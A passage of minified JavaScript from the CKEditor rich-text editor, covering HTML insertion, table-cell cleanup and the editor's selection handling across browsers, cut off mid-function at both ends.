!c.node.is("br")&&a(b)&&b.is("br")){b.remove();return 1}}var e=c.endContainer.getChild(c.endOffset),f=c.endContainer.getChild(c.endOffset-1);e&&d(e,b[b.length-1]);if(f&&d(f,b[0])){c.setEnd(c.endContainer,c.endOffset-1);c.collapse()}}var r=CKEDITOR.dtd,g={p:1,div:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,ul:1,ol:1,li:1,pre:1,dl:1,blockquote:1},m={p:1,div:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1},C=CKEDITOR.tools.extend({},r.$inline);delete C.br;return function(g,n,k){var q=g.editor,v=q.getSelection().getRanges()[0],
G=false;if(n=="unfiltered_html"){n="html";G=true}if(!v.checkReadOnly()){var z=(new CKEDITOR.dom.elementPath(v.startContainer,v.root)).blockLimit||v.root,n={type:n,dontFilter:G,editable:g,editor:q,range:v,blockLimit:z,mergeCandidates:[],zombies:[]},q=n.range,G=n.mergeCandidates,B,x,E,s;if(n.type=="text"&&q.shrink(CKEDITOR.SHRINK_ELEMENT,true,false)){B=CKEDITOR.dom.element.createFromHtml("<span>&nbsp;</span>",q.document);q.insertNode(B);q.setStartAfter(B)}x=new CKEDITOR.dom.elementPath(q.startContainer);
n.endPath=E=new CKEDITOR.dom.elementPath(q.endContainer);if(!q.collapsed){var z=E.block||E.blockLimit,w=q.getCommonAncestor();z&&(!z.equals(w)&&!z.contains(w)&&q.checkEndOfBlock())&&n.zombies.push(z);q.deleteContents()}for(;(s=a(q.startContainer)&&q.startContainer.getChild(q.startOffset-1))&&a(s)&&s.isBlockBoundary()&&x.contains(s);)q.moveToPosition(s,CKEDITOR.POSITION_BEFORE_END);f(q,n.blockLimit,x,E);if(B){q.setEndBefore(B);q.collapse();B.remove()}B=q.startPath();if(z=B.contains(e,false,1)){q.splitElement(z);
n.inlineStylesRoot=z;n.inlineStylesPeak=B.lastElement}B=q.createBookmark();(z=B.startNode.getPrevious(c))&&a(z)&&e(z)&&G.push(z);(z=B.startNode.getNext(c))&&a(z)&&e(z)&&G.push(z);for(z=B.startNode;(z=z.getParent())&&e(z);)G.push(z);q.moveToBookmark(B);if(B=k){B=n.range;if(n.type=="text"&&n.inlineStylesRoot){s=n.inlineStylesPeak;q=s.getDocument().createText("{cke-peak}");for(G=n.inlineStylesRoot.getParent();!s.equals(G);){q=q.appendTo(s.clone());s=s.getParent()}k=q.getOuterHtml().split("{cke-peak}").join(k)}s=
n.blockLimit.getName();if(/^\s+|\s+$/.test(k)&&"span"in CKEDITOR.dtd[s])var y='<span data-cke-marker="1">&nbsp;</span>',k=y+k+y;k=n.editor.dataProcessor.toHtml(k,{context:null,fixForBody:false,dontFilter:n.dontFilter,filter:n.editor.activeFilter,enterMode:n.editor.activeEnterMode});s=B.document.createElement("body");s.setHtml(k);if(y){s.getFirst().remove();s.getLast().remove()}if((y=B.startPath().block)&&!(y.getChildCount()==1&&y.getBogus()))a:{var t;if(s.getChildCount()==1&&a(t=s.getFirst())&&t.is(m)){y=
t.getElementsByTag("*");B=0;for(G=y.count();B<G;B++){q=y.getItem(B);if(!q.is(C))break a}t.moveChildren(t.getParent(1));t.remove()}}n.dataWrapper=s;B=k}if(B){t=n.range;var y=t.document,D,k=n.blockLimit;B=0;var J;s=[];var H,Q,G=q=0,M,S;x=t.startContainer;var z=n.endPath.elements[0],T;E=z.getPosition(x);w=!!z.getCommonAncestor(x)&&E!=CKEDITOR.POSITION_IDENTICAL&&!(E&CKEDITOR.POSITION_CONTAINS+CKEDITOR.POSITION_IS_CONTAINED);x=b(n.dataWrapper,n);for(p(x,t);B<x.length;B++){E=x[B];if(D=E.isLineBreak){D=
t;M=k;var O=void 0,V=void 0;if(E.hasBlockSibling)D=1;else{O=D.startContainer.getAscendant(r.$block,1);if(!O||!O.is({div:1,p:1}))D=0;else{V=O.getPosition(M);if(V==CKEDITOR.POSITION_IDENTICAL||V==CKEDITOR.POSITION_CONTAINS)D=0;else{M=D.splitElement(O);D.moveToPosition(M,CKEDITOR.POSITION_AFTER_START);D=1}}}}if(D)G=B>0;else{D=t.startPath();if(!E.isBlock&&h(n.editor,D.block,D.blockLimit)&&(Q=n.editor.activeEnterMode!=CKEDITOR.ENTER_BR&&n.editor.config.autoParagraph!==false?n.editor.activeEnterMode==CKEDITOR.ENTER_DIV?
"div":"p":false)){Q=y.createElement(Q);Q.appendBogus();t.insertNode(Q);CKEDITOR.env.needsBrFiller&&(J=Q.getBogus())&&J.remove();t.moveToPosition(Q,CKEDITOR.POSITION_BEFORE_END)}if((D=t.startPath().block)&&!D.equals(H)){if(J=D.getBogus()){J.remove();s.push(D)}H=D}E.firstNotAllowed&&(q=1);if(q&&E.isElement){D=t.startContainer;for(M=null;D&&!r[D.getName()][E.name];){if(D.equals(k)){D=null;break}M=D;D=D.getParent()}if(D){if(M){S=t.splitElement(M);n.zombies.push(S);n.zombies.push(M)}}else{M=k.getName();
T=!B;D=B==x.length-1;M=d(E.node,M);for(var O=[],V=M.length,W=0,Y=void 0,Z=0,U=-1;W<V;W++){Y=M[W];if(Y==" "){if(!Z&&(!T||W)){O.push(new CKEDITOR.dom.text(" "));U=O.length}Z=1}else{O.push(Y);Z=0}}D&&U==O.length&&O.pop();T=O}}if(T){for(;D=T.pop();)t.insertNode(D);T=0}else t.insertNode(E.node);if(E.lastNotAllowed&&B<x.length-1){(S=w?z:S)&&t.setEndAt(S,CKEDITOR.POSITION_AFTER_START);q=0}t.collapse()}}n.dontMoveCaret=G;n.bogusNeededBlocks=s}J=n.range;var N;S=n.bogusNeededBlocks;for(T=J.createBookmark();H=
n.zombies.pop();)if(H.getParent()){Q=J.clone();Q.moveToElementEditStart(H);Q.removeEmptyBlocksAtEnd()}if(S)for(;H=S.pop();)CKEDITOR.env.needsBrFiller?H.appendBogus():H.append(J.document.createText(" "));for(;H=n.mergeCandidates.pop();)H.mergeSiblings();J.moveToBookmark(T);if(!n.dontMoveCaret){for(H=a(J.startContainer)&&J.startContainer.getChild(J.startOffset-1);H&&a(H)&&!H.is(r.$empty);){if(H.isBlockBoundary())J.moveToPosition(H,CKEDITOR.POSITION_BEFORE_END);else{if(e(H)&&H.getHtml().match(/(\s|&nbsp;)$/g)){N=
null;break}N=J.clone();N.moveToPosition(H,CKEDITOR.POSITION_BEFORE_END)}H=H.getLast(c)}N&&J.moveToRange(N)}v.select();j(g)}}}(),t=function(){function a(b){b=new CKEDITOR.dom.walker(b);b.guard=function(a,b){if(b)return false;if(a.type==CKEDITOR.NODE_ELEMENT)return a.is(CKEDITOR.dtd.$tableContent)};b.evaluator=function(a){return a.type==CKEDITOR.NODE_ELEMENT};return b}function b(a,c,d){c=a.getDocument().createElement(c);a.append(c,d);return c}function c(a){var b=a.count(),d;for(b;b-- >0;){d=a.getItem(b);
if(!CKEDITOR.tools.trim(d.getHtml())){d.appendBogus();CKEDITOR.env.ie&&(CKEDITOR.env.version<9&&d.getChildCount())&&d.getFirst().remove()}}}return function(d){var e=d.startContainer,f=e.getAscendant("table",1),h=false;c(f.getElementsByTag("td"));c(f.getElementsByTag("th"));f=d.clone();f.setStart(e,0);f=a(f).lastBackward();if(!f){f=d.clone();f.setEndAt(e,CKEDITOR.POSITION_BEFORE_END);f=a(f).lastForward();h=true}f||(f=e);if(f.is("table")){d.setStartAt(f,CKEDITOR.POSITION_BEFORE_START);d.collapse(true);
f.remove()}else{f.is({tbody:1,thead:1,tfoot:1})&&(f=b(f,"tr",h));f.is("tr")&&(f=b(f,f.getParent().is("thead")?"th":"td",h));(e=f.getBogus())&&e.remove();d.moveToPosition(f,h?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_BEFORE_END)}}}()})();
(function(){function a(){var a=this._.fakeSelection,b;if(a){b=this.getSelection(1);if(!b||!b.isHidden()){a.reset();a=0}}if(!a){a=b||this.getSelection(1);if(!a||a.getType()==CKEDITOR.SELECTION_NONE)return}this.fire("selectionCheck",a);b=this.elementPath();if(!b.compare(this._.selectionPreviousPath)){if(CKEDITOR.env.webkit)this._.previousActive=this.document.getActive();this._.selectionPreviousPath=b;this.fire("selectionChange",{selection:a,path:b})}}function f(){q=true;if(!w){b.call(this);w=CKEDITOR.tools.setTimeout(b,
200,this)}}function b(){w=null;if(q){CKEDITOR.tools.setTimeout(a,0,this);q=false}}function c(a){return t(a)||a.type==CKEDITOR.NODE_ELEMENT&&!a.is(CKEDITOR.dtd.$empty)?true:false}function e(a){function b(c,d){return!c||c.type==CKEDITOR.NODE_TEXT?false:a.clone()["moveToElementEdit"+(d?"End":"Start")](c)}if(!(a.root instanceof CKEDITOR.editable))return false;var d=a.startContainer,e=a.getPreviousNode(c,null,d),f=a.getNextNode(c,null,d);return b(e)||b(f,1)||!e&&!f&&!(d.type==CKEDITOR.NODE_ELEMENT&&d.isBlockBoundary()&&
d.getBogus())?true:false}function d(a){return a.getCustomData("cke-fillingChar")}function h(a,b){var c=a&&a.removeCustomData("cke-fillingChar");if(c){if(b!==false){var d,e=a.getDocument().getSelection().getNative(),f=e&&e.type!="None"&&e.getRangeAt(0);if(c.getLength()>1&&f&&f.intersectsNode(c.$)){d=j(e);f=e.focusNode==c.$&&e.focusOffset>0;e.anchorNode==c.$&&e.anchorOffset>0&&d[0].offset--;f&&d[1].offset--}}c.setText(k(c.getText()));d&&g(a.getDocument().$,d)}}function k(a){return a.replace(/\u200B( )?/g,
function(a){return a[1]?" ":""})}function j(a){return[{node:a.anchorNode,offset:a.anchorOffset},{node:a.focusNode,offset:a.focusOffset}]}function g(a,b){var c=a.getSelection(),d=a.createRange();d.setStart(b[0].node,b[0].offset);d.collapse(true);c.removeAllRanges();c.addRange(d);c.extend(b[1].node,b[1].offset)}function m(a){var b=CKEDITOR.dom.element.createFromHtml('<div data-cke-hidden-sel="1" data-cke-temp="1" style="'+(CKEDITOR.env.ie?"display:none":"position:fixed;top:0;left:-1000px")+'">&nbsp;</div>',
a.document);a.fire("lockSnapshot");a.editable().append(b);var c=a.getSelection(1),d=a.createRange(),e=c.root.on("selectionchange",function(a){a.cancel()},null,null,0);d.setStartAt(b,CKEDITOR.POSITION_AFTER_START);d.setEndAt(b,CKEDITOR.POSITION_BEFORE_END);c.selectRanges([d]);e.removeListener();a.fire("unlockSnapshot");a._.hiddenSelectionContainer=b}function y(a){var b={37:1,39:1,8:1,46:1};return function(c){var d=c.data.getKeystroke();if(b[d]){var e=a.getSelection().getRanges(),f=e[0];if(e.length==
1&&f.collapsed)if((d=f[d<38?"getPreviousEditableNode":"getNextEditableNode"]())&&d.type==CKEDITOR.NODE_ELEMENT&&d.getAttribute("contenteditable")=="false"){a.getSelection().fake(d);c.data.preventDefault();c.cancel()}}}}function s(a){for(var b=0;b<a.length;b++){var c=a[b];c.getCommonAncestor().isReadOnly()&&a.splice(b,1);if(!c.collapsed){if(c.startContainer.isReadOnly())for(var d=c.startContainer,e;d;){if((e=d.type==CKEDITOR.NODE_ELEMENT)&&d.is("body")||!d.isReadOnly())break;e&&d.getAttribute("contentEditable")==
"false"&&c.setStartAfter(d);d=d.getParent()}d=c.startContainer;e=c.endContainer;var f=c.startOffset,h=c.endOffset,g=c.clone();d&&d.type==CKEDITOR.NODE_TEXT&&(f>=d.getLength()?g.setStartAfter(d):g.setStartBefore(d));e&&e.type==CKEDITOR.NODE_TEXT&&(h?g.setEndAfter(e):g.setEndBefore(e));d=new CKEDITOR.dom.walker(g);d.evaluator=function(d){if(d.type==CKEDITOR.NODE_ELEMENT&&d.isReadOnly()){var e=c.clone();c.setEndBefore(d);c.collapsed&&a.splice(b--,1);if(!(d.getPosition(g.endContainer)&CKEDITOR.POSITION_CONTAINS)){e.setStartAfter(d);
e.collapsed||a.splice(b+1,0,e)}return true}return false};d.next()}}return a}var w,q,t=CKEDITOR.dom.walker.invisible(1),i=function(){function a(b){return function(a){var c=a.editor.createRange();c.moveToClosestEditablePosition(a.selected,b)&&a.editor.getSelection().selectRanges([c]);return false}}function b(a){return function(b){var c=b.editor,d=c.createRange(),e;if(!(e=d.moveToClosestEditablePosition(b.selected,a)))e=d.moveToClosestEditablePosition(b.selected,!a);e&&c.getSelection().selectRanges([d]);
c.fire("saveSnapshot");b.selected.remove();if(!e){d.moveToElementEditablePosition(c.editable());c.getSelection().selectRanges([d])}c.fire("saveSnapshot");return false}}var c=a(),d=a(1);return{37:c,38:c,39:d,40:d,8:b(),46:b(1)}}();CKEDITOR.on("instanceCreated",function(b){function c(){var a=d.getSelection();a&&a.removeAllRanges()}var d=b.editor;d.on("contentDom",function(){function b(){z=new CKEDITOR.dom.selection(d.getSelection());z.lock()}function c(){l.removeListener("mouseup",c);i.removeListener("mouseup",
c);var a=CKEDITOR.document.$.selection,b=a.createRange();a.type!="None"&&b.parentElement().ownerDocument==e.$&&b.select()}var e=d.document,l=CKEDITOR.document,g=d.editable(),p=e.getBody(),i=e.getDocumentElement(),v=g.isInline(),j,z;CKEDITOR.env.gecko&&g.attachListener(g,"focus",function(a){a.removeListener();if(j!==0)if((a=d.getSelection().getNative())&&a.isCollapsed&&a.anchorNode==g.$){a=d.createRange();a.moveToElementEditStart(g);a.select()}},null,null,-2);g.attachListener(g,CKEDITOR.env.webkit?
"DOMFocusIn":"focus",function(){j&&CKEDITOR.env.webkit&&(j=d._.previousActive&&d._.previousActive.equals(e.getActive()));d.unlockSelection(j);j=0},null,null,-1);g.attachListener(g,"mousedown",function(){j=0});if(CKEDITOR.env.ie||v){A?g.attachListener(g,"beforedeactivate",b,null,null,-1):g.attachListener(d,"selectionCheck",b,null,null,-1);g.attachListener(g,CKEDITOR.env.webkit?"DOMFocusOut":"blur",function(){d.lockSelection(z);j=1},null,null,-1);g.attachListener(g,"mousedown",function(){j=0})}if(CKEDITOR.env.ie&&
!v){var B;g.attachListener(g,"mousedown",function(a){if(a.data.$.button==2){a=d.document.getSelection();if(!a||a.getType()==CKEDITOR.SELECTION_NONE)B=d.window.getScrollPosition()}});g.attachListener(g,"mouseup",function(a){if(a.data.$.button==2&&B){d.document.$.documentElement.scrollLeft=B.x;d.document.$.documentElement.scrollTop=B.y}B=null});if(e.$.compatMode!="BackCompat"){if(CKEDITOR.env.ie7Compat||CKEDITOR.env.ie6Compat)i.on("mousedown",function(a){function b(a){a=a.data.$;if(d){var c=p.$.createTextRange();
try{c.moveToPoint(a.clientX,a.clientY)}catch(e){}d.setEndPoint(f.compareEndPoints("StartToStart",c)<0?"EndToEnd":"StartToStart",c);d.select()}}function c(){i.removeListener("mousemove",b);l.removeListener("mouseup",c);i.removeListener("mouseup",c);d.select()}a=a.data;if(a.getTarget().is("html")&&a.$.y<i.$.clientHeight&&a.$.x<i.$.clientWidth){var d=p.$.createTextRange();try{d.moveToPoint(a.$.clientX,a.$.clientY)}catch(e){}var f=d.duplicate();i.on("mousemove",b);l.on("mouseup",c);i.on("mouseup",c)}});
if(CKEDITOR.env.version>7&&CKEDITOR.env.version<11)i.on("mousedown",function(a){if(a.data.getTarget().is("html")){l.on("mouseup",c);i.on("mouseup",c)}})}}g.attachListener(g,"selectionchange",a,d);g.attachListener(g,"keyup",f,d);g.attachListener(g,CKEDITOR.env.webkit?"DOMFocusIn":"focus",function(){d.forceNextSelectionCheck();d.selectionChange(1)});if(v&&(CKEDITOR.env.webkit||CKEDITOR.env.gecko)){var x;g.attachListener(g,"mousedown",function(){x=1});g.attachListener(e.getDocumentElement(),"mouseup",
function(){x&&f.call(d);x=0})}else g.attachListener(CKEDITOR.env.ie?g:e.getDocumentElement(),"mouseup",f,d);CKEDITOR.env.webkit&&g.attachListener(e,"keydown",function(a){switch(a.data.getKey()){case 13:case 33:case 34:case 35:case 36:case 37:case 39:case 8:case 45:case 46:h(g)}},null,null,-1);g.attachListener(g,"keydown",y(d),null,null,-1)});d.on("setData",function(){d.unlockSelection();CKEDITOR.env.webkit&&c()});d.on("contentDomUnload",function(){d.unlockSelection()});if(CKEDITOR.env.ie9Compat)d.on("beforeDestroy",
c,null,null,9);d.on("dataReady",function(){delete d._.fakeSelection;delete d._.hiddenSelectionContainer;d.selectionChange(1)});d.on("loadSnapshot",function(){var a=CKEDITOR.dom.walker.nodeType(CKEDITOR.NODE_ELEMENT),b=d.editable().getLast(a);if(b&&b.hasAttribute("data-cke-hidden-sel")){b.remove();if(CKEDITOR.env.gecko)(a=d.editable().getFirst(a))&&(a.is("br")&&a.getAttribute("_moz_editor_bogus_node"))&&a.remove()}},null,null,100);d.on("key",function(a){if(d.mode=="wysiwyg"){var b=d.getSelection();
if(b.isFake){var c=i[a.data.keyCode];if(c)return c({editor:d,selected:b.getSelectedElement(),selection:b,keyEvent:a})}}})});CKEDITOR.on("instanceReady",function(a){function b(){var a=e.editable();if(a)if(a=d(a)){var c=e.document.$.getSelection();if(c.type!="None"&&(c.anchorNode==a.$||c.focusNode==a.$))i=j(c);f=a.getText();a.setText(k(f))}}function c(){var a=e.editable();if(a)if(a=d(a)){a.setText(f);if(i){g(e.document.$,i);i=null}}}var e=a.editor,f,i;if(CKEDITOR.env.webkit){e.on("selectionChange",
function(){var a=e.editable(),b=d(a);b&&(b.getCustomData("ready")?h(a):b.setCustomData("ready",1))},null,null,-1);e.on("beforeSetMode",function(){h(e.editable())},null,null,-1);e.on("beforeUndoImage",b);e.on("afterUndoImage",c);e.on("beforeGetData",b,null,null,0);e.on("getData",c)}});CKEDITOR.editor.prototype.selectionChange=function(b){(b?a:f).call(this)};CKEDITOR.editor.prototype.getSelection=function(a){if((this._.savedSelection||this._.fakeSelection)&&!a)return this._.savedSelection||this._.fakeSelection;
return(a=this.editable())&&this.mode=="wysiwyg"?new CKEDITOR.dom.selection(a):null};CKEDITOR.editor.prototype.lockSelection=function(a){a=a||this.getSelection(1);if(a.getType()!=CKEDITOR.SELECTION_NONE){!a.isLocked&&a.lock();this._.savedSelection=a;return true}return false};CKEDITOR.editor.prototype.unlockSelection=function(a){var b=this._.savedSelection;if(b){b.unlock(a);delete this._.savedSelection;return true}return false};CKEDITOR.editor.prototype.forceNextSelectionCheck=function(){delete this._.selectionPreviousPath};
CKEDITOR.dom.document.prototype.getSelection=function(){return new CKEDITOR.dom.selection(this)};CKEDITOR.dom.range.prototype.select=function(){var a=this.root instanceof CKEDITOR.editable?this.root.editor.getSelection():new CKEDITOR.dom.selection(this.root);a.selectRanges([this]);return a};CKEDITOR.SELECTION_NONE=1;CKEDITOR.SELECTION_TEXT=2;CKEDITOR.SELECTION_ELEMENT=3;var A=typeof window.getSelection!="function",u=1;CKEDITOR.dom.selection=function(a){if(a instanceof CKEDITOR.dom.selection)var b=
a,a=a.root;var c=a instanceof CKEDITOR.dom.element;this.rev=b?b.rev:u++;this.document=a instanceof CKEDITOR.dom.document?a:a.getDocument();this.root=c?a:this.document.getBody();this.isLocked=0;this._={cache:{}};if(b){CKEDITOR.tools.extend(this._.cache,b._.cache);this.isFake=b.isFake;this.isLocked=b.isLocked;return this}var a=this.getNative(),d,e;if(a)if(a.getRangeAt)d=(e=a.rangeCount&&a.getRangeAt(0))&&new CKEDITOR.dom.node(e.commonAncestorContainer);else{try{e=a.createRange()}catch(f){}d=e&&CKEDITOR.dom.element.get(e.item&&
e.item(0)||e.parentElement())}if(!d||!(d.type==CKEDITOR.NODE_ELEMENT||d.type==CKEDITOR.NODE_TEXT)||!this.root.equals(d)&&!this.root.contains(d)){this._.cache.type=CKEDITOR.SELECTION_NONE;this._.cache.startElement=null;this._.cache.selectedElement=null;this._.cache.selectedText="";this._.cache.ranges=new CKEDITOR.dom.rangeList}return this};var o={img:1,hr:1,li:1,table:1,tr:1,td:1,th:1,embed:1,object:1,ol:1,ul:1,a:1,input:1,form:1,select:1,textarea:1,button:1,fieldset:1,thead:1,tfoot:1};CKEDITOR.dom.selection.prototype=
{getNative:function(){return this._.cache.nativeSel!==void 0?this._.cache.nativeSel:this._.cache.nativeSel=A?this.document.$.selection:this.document.getWindow().$.getSelection()},getType:A?function(){var a=this._.cache;if(a.type)return a.type;var b=CKEDITOR.SELECTION_NONE;try{var c=this.getNative(),d=c.type;if(d=="Text")b=CKEDITOR.SELECTION_TEXT;if(d=="Control")b=CKEDITOR.SELECTION_ELEMENT;if(c.createRange().parentElement())b=CKEDITOR.SELECTION_TEXT}catch(e){}return a.type=b}:function(){var a=this._.cache;
if(a.type)return a.type;var b=CKEDITOR.SELECTION_TEXT,c=this.getNative();if(!c||!c.rangeCount)b=CKEDITOR.SELECTION_NONE;else if(c.rangeCount==1){var c=c.getRangeAt(0),d=c.startContainer;if(d==c.endContainer&&d.nodeType==1&&c.endOffset-c.startOffset==1&&o[d.childNodes[c.startOffset].nodeName.toLowerCase()])b=CKEDITOR.SELECTION_ELEMENT}return a.type=b},getRanges:function(){var a=A?function(){function a(b){return(new CKEDITOR.dom.node(b)).getIndex()}var b=function(b,c){b=b.duplicate();b.collapse(c);
var d=b.parentElement();if(!d.hasChildNodes())return{container:d,offset:0};for(var e=d.children,f,g,h=b.duplicate(),v=0,l=e.length-1,i=-1,j,x;v<=l;){i=Math.floor((v+l)/2);f=e[i];h.moveToElementText(f);j=h.compareEndPoints("StartToStart",b);if(j>0)l=i-1;else if(j<0)v=i+1;else return{container:d,offset:a(f)}}if(i==-1||i==e.length-1&&j<0){h.moveToElementText(d);h.setEndPoint("StartToStart",b);h=h.text.replace(/(\r\n|\r)/g,"\n").length;e=d.childNodes;if(!h){f=e[e.length-1];return f.nodeType!=CKEDITOR.NODE_TEXT?
{container:d,offset:e.length}:{container:f,offset:f.nodeValue.length}}for(d=e.length;h>0&&d>0;){g=e[--d];if(g.nodeType==CKEDITOR.NODE_TEXT){x=g;h=h-g.nodeValue.length}}return{container:x,offset:-h}}h.collapse(j>0?true:false);h.setEndPoint(j>0?"StartToStart":"EndToStart",b);h=h.text.replace(/(\r\n|\r)/g,"\n").length;if(!h)return{container:d,offset:a(f)+(j>0?0:1)};for(;h>0;)try{g=f[j>0?"previousSibling":"nextSibling"];if(g.nodeType==CKEDITOR.NODE_TEXT){h=h-g.nodeValue.length;x=g}f=g}catch(m){return{container:d,
offset:a(f)}}return{container:x,offset:j>0?-h:x.nodeValue.length+h}};return function(){var a=this.getNative(),c=a&&a.createRange(),d=this.getType();if(!a)return[];if(d==CKEDITOR.SELECTION_TEXT){a=new CKEDITOR.dom.range(this.root);d=b(c,true);a.setStart(new CKEDITOR.dom.node(d.container),d.offset);d=b(c);a.setEnd(new CKEDITOR.dom.node(d.container),d.offset);a.endContainer.getPosition(a.startContainer)&CKEDITOR.POSITION_PRECEDING&&a.endOffset<=a.startContainer.getIndex()&&a.collapse();return[a]}if(d==
CKEDITOR.SELECTION_ELEMENT){for(var d=[],e=0;e<c.length;e++){for(var f=c.item(e),h=f.parentNode,g=0,a=new CKEDITOR.dom.range(this.root);g<h.childNodes.length&&h.childNodes[g]!=f;g++);a.setStart(new CKEDITOR.dom.node(h),g);a.setEnd(new CKEDITOR.dom.node(h),g+1);d.push(a)}return d}return[]}}():function(){var a=[],b,c=this.getNative();if(!c)return a;for(var d=0;d<c.rangeCount;d++){var e=c.getRangeAt(d);b=new CKEDITOR.dom.range(this.root);b.setStart(new CKEDITOR.dom.node(e.startContainer),e.startOffset);
b.setEnd(new CKEDITOR.dom.node(e.endContainer),e.endOffset);a.push(b)}return a};return function(b){var c=this._.cache,d=c.ranges;if(!d)c.ranges=d=new CKEDITOR.dom.rangeList(a.call(this));return!b?d:s(new CKEDITOR.dom.rangeList(d.slice()))}}(),getStartElement:function(){var a=this._.cache;if(a.startElement!==void 0)return a.startElement;var b;switch(this.getType()){case CKEDITOR.SELECTION_ELEMENT:return this.getSelectedElement();case CKEDITOR.SELECTION_TEXT:var c=this.getRanges()[0];if(c){if(c.collapsed){b=
c.startContainer;b.type!=CKEDITOR.NODE_ELEMENT&&(b=b.getParent())}else{for(c.optimize();;){b=c.startContainer;if(c.startOffset==(b.getChildCount?b.getChildCount():b.getLength())&&!b.isBlockBoundary())c.setStartAfter(b);else break}b=c.startContainer;if(b.type!=CKEDITOR.NODE_ELEMENT)return b.getParent();b=b.getChild(c.startOffset);if(!b||b.type!=CKEDITOR.NODE_ELEMENT)b=c.startContainer;else for(c=b.getFirst();c&&c.type==CKEDITOR.NODE_ELEMENT;){b=c;c=c.getFirst()}}b=b.$}}return a.startElement=b?new CKEDITOR.dom.element(b):
null},getSelectedElement:function(){var a=this._.cache;if(a.selectedElement!==void 0)return a.selectedElement;var b=this,c=CKEDITOR.tools.tryThese(function(){return b.getNative().createRange().item(0)},function(){for(var a=b.getRanges()[0].clone(),c,d,e=2;e&&(!(c=a.getEnclosedNode())||!(c.type==CKEDITOR.NODE_ELEMENT&&o[c.getName()]&&(d=c)));e--)a.shrink(CKEDITOR.SHRINK_ELEMENT);return d&&d.$});return a.selectedElement=c?new CKEDITOR.dom.element(c):null},getSelectedText:function(){var a=this._.cache;
if(a.selectedText!==void 0)return a.selectedText;var b=this.getNative(),b=A?b.type=="Control"?"":b.createRange().text:b.toString();return a.selectedText=b},lock:function(){this.getRanges();this.getStartElement();this.getSelectedElement();this.getSelectedText();this._.cache.nativeSel=null;this.isLocked=1},unlock:function(a){if(this.isLocked){if(a)var b=this.getSelectedElement(),c=!b&&this.getRanges(),d=this.isFake;this.isLocked=0;this.reset();if(a)(a=b||c[0]&&c[0].getCommonAncestor())&&a.getAscendant("body",
1)&&(d?this.fake(b):b?this.selectElement(b):this.selectRanges(c))}},reset:function(){this._.cache={};this.isFake=0;var a=this.root.editor;if(a&&a._.fakeSelection&&this.rev==a._.fakeSelection.rev){delete a._.fakeSelection;var b=a._.hiddenSelectionContainer;if(b){var c=a.checkDirty();a.fire("lockSnapshot");b.remove();a.fire("unlockSnapshot");!c&&a.resetDirty()}delete a._.hiddenSelectionContainer}this.rev=u++},selectElement:function(a){var b=new CKEDITOR.dom.range(this.root);b.setStartBefore(a);b.setEndAfter(a);
this.selectRanges([b])},selectRanges:function(a){var b=this.root.editor,b=b&&b._.hiddenSelectionContainer;this.reset();if(b)for(var b=this.root,c,d=0;d<a.length;++d){c=a[d];if(c.endContainer.equals(b))c.endOffset=Math.min(c.endOffset,b.getChildCount())}if(a.length)if(this.isLocked){var f=CKEDITOR.document.getActive();this.unlock();this.selectRanges(a);this.lock();f&&!f.equals(this.root)&&f.focus()}else{var g;a:{var i,j;if(a.length==1&&!(j=a[0]).collapsed&&(g=j.getEnclosedNode())&&g.type==CKEDITOR.NODE_ELEMENT){j=
j.clone();j.shrink(CKEDITOR.SHRINK_ELEMENT,true);if((i=j.getEnclosedNode())&&i.type==CKEDITOR.NODE_ELEMENT)g=i;if(g.getAttribute("contenteditable")=="false")break a}g=void 0}if(g)this.fake(g);else{if(A){j=CKEDITOR.dom.walker.whitespaces(true);i=/\ufeff|\u00a0/;b={table:1,tbody:1,tr:1};if(a.length>1){g=a[a.length-1];a[0].setEnd(g.endContainer,g.endOffset)}g=a[0];var a=g.collapsed,m,k,v;if((c=g.getEnclosedNode())&&c.type==CKEDITOR.NODE_ELEMENT&&c.getName()in o&&(!c.is("a")||!c.getText()))try{v=c.$.createControlRange();
v.addElement(c.$);v.select();return}catch(q){}if(g.startContainer.type==CKEDITOR.NODE_ELEMENT&&g.startContainer.getName()in b||g.endContainer.type==CKEDITOR.NODE_ELEMENT&&g.endContainer.getName()in b){g.shrink(CKEDITOR.NODE_ELEMENT,true);a=g.collapsed}v=g.createBookmark();b=v.startNode;if(!a)f=v.endNode;v=g.document.$.body.createTextRange();v.moveToElementText(b.$);v.moveStart("character",1);if(f){i=g.document.$.body.createTextRange();i.moveToElementText(f.$);v.setEndPoint("EndToEnd",i);v.moveEnd("character",
-1)}else{m=b.getNext(j);k=b.hasAscendant("pre");m=!(m&&m.getText&&m.getText().match(i))&&(k||!b.hasPrevious()||b.getPrevious().is&&b.getPrevious().is("br"));k=g.document.createElement("span");k.setHtml("&#65279;");k.insertBefore(b);m&&g.document.createText("").insertBefore(b)}g.setStartBefore(b);b.remove();if(a){if(m){v.moveStart("character",-1);v.select();g.document.$.selection.clear()}else v.select();g.moveToPosition(k,CKEDITOR.POSITION_BEFORE_START);k.remove()}else{g.setEndBefore(f);f.remove();
v.select()}}else{f=this.getNative();if(!f)return;this.removeAllRanges();for(v=0;v<a.length;v++){if(v<a.length-1){m=a[v];k=a[v+1];i=m.clone();i.setStart(m.endContainer,m.endOffset);i.setEnd(k.startContainer,k.startOffset);if(!i.collapsed){i.shrink(CKEDITOR.NODE_ELEMENT,true);g=i.getCommonAncestor();i=i.getEnclosedNode();if(g.isReadOnly()||i&&i.isReadOnly()){k.setStart(m.startContainer,m.startOffset);a.splice(v--,1);continue}}}g=a[v];k=this.document.$.createRange();if(g.collapsed&&CKEDITOR.env.webkit&&
e(g)){m=this.root;h(m,false);i=m.getDocument().createText("​");m.setCustomData("cke-fillingChar",i);g.insertNode(i);if((m=i.getNext())&&!i.getPrevious()&&m.type==CKEDITOR.NODE_ELEMENT&&m.getName()=="br"){h(this.root);g.moveToPosition(m,CKEDITOR.POSITION_BEFORE_START)}else g.moveToPosition(i,CKEDITOR.POSITION_AFTER_END)}k.setStart(g.startContainer.$,g.startOffset);try{k.setEnd(g.endContainer.$,g.endOffset)}catch(z){if(z.toString().indexOf("NS_ERROR_ILLEGAL_VALUE")>=0){g.collapse(1);k.setEnd(g.endContainer.$,
